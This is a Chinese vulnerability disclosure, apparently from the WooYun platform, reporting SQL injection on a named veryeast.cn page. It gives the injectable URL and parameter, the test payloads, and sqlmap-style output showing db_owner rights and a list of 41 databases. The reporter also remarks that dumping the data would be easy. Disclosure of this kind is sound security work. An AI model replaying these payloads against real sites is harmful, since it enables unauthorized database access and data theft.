漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2014-08-04： 细节已通知厂商并且等待厂商处理中
2014-08-04： 厂商已经确认，细节仅向厂商公开
2014-08-14： 细节向核心白帽子及相关领域专家公开
2014-08-24： 细节向普通白帽子公开
2014-09-03： 细节向实习白帽子公开
2014-09-18： 细节向公众公开
简要描述：
rt，求不走小厂商
详细说明：
注入点
http://zph.veryeast.cn/call/meeting_prediction.asp?provinceId=4
单引号直接报错了，是sql server
测试：
http://zph.veryeast.cn/call/meeting_prediction.asp?provinceId=4) 报错
http://zph.veryeast.cn/call/meeting_prediction.asp?provinceId=4)-- 正常
漏洞证明：
跑了一下，有41个库之多，顿时吓尿了，目测全部库都在这里了。用户是db owner权限，脱裤问题不大
[10:35:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP
back-end DBMS: Microsoft SQL Server 2008
[10:35:29] [INFO] fetching current user
current user: 'jdrcadmin'
sql-shell> Select IS_MEMBER('db_owner')
[10:39:13] [INFO] fetching SQL SELECT statement query output: 'Select IS_MEMBER('db_owner')'
[10:39:13] [INFO] retrieved: 1
Select IS_MEMBER('db_owner'): '1'
available databases [41]:
[*] 9first
[*] bangdating
[*] commonData
[*] cp
[*] dfws_edm
[*] dfwsCMS
[*] dvbbs
[*] hotel_collect
[*] hrTool
[*] jdrc
[*] jdrc_20131019
[*] jdrc_table_backup
[*] jobbon
[*] lms
[*] lms_mehoodbc
[*] lms_v1_1
[*] lms_v2
[*] lt
[*] master
[*] md
[*] meadin
[*] meadinvote
[*] model
[*] msdb
[*] papers
[*] ReportServer
[*] ReportServerTempDB
[*] sendmail
[*] tempdb
[*] uc
[*] ve_crm
[*] vebbs
[*] veryeast
[*] veryeastcms
[*] wiki
[*] xianzhicms
[*] xlms
[*] xz_ihma_crm
[*] xzbbs
[*] XZHome
[*] XZHome_Customize
修复方案：
。。。
版权声明：转载请注明来源 greg.wu@乌云
>
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2014-08-04 13:15
厂商回复：
感谢 报告。
最新状态：
暂无